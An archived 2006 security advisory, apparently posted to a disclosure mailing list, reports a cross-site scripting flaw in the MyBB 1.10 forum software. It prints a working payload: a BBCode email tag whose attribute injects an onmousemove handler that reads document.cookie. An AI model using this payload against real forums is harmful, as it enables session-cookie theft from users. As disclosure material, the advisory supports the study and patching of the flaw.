MyBB 1.10 New CrossSiteScripting

From: <o.y.6_at_hotmail.com>
Date: 2 Apr 2006 18:15:07 -0000

('binary' encoding is not supported, stored as-is) MyBB 1.10 CrossSiteScripting

        File :- inc/functions_post.php

BugTraqer :- Devil-00 < stranger-killer_at_hotmail.com >

we can do attack by some unfilter tags :-
        
        Post New Thread Or New Replay With This Code :D
        And Try To Move The Mouse Over The Email ;)
        
        [code]
                [email=a" onmousemove="alert(document.cookie);" aaa_at_aaa.aaa]Click Here![/email]
        [/code]
Palestinian Hacker < Devil-00 | D3vil-0x1 >
        Visit Palestine Thro www.palestinepnly.com
Received on Apr 03 2006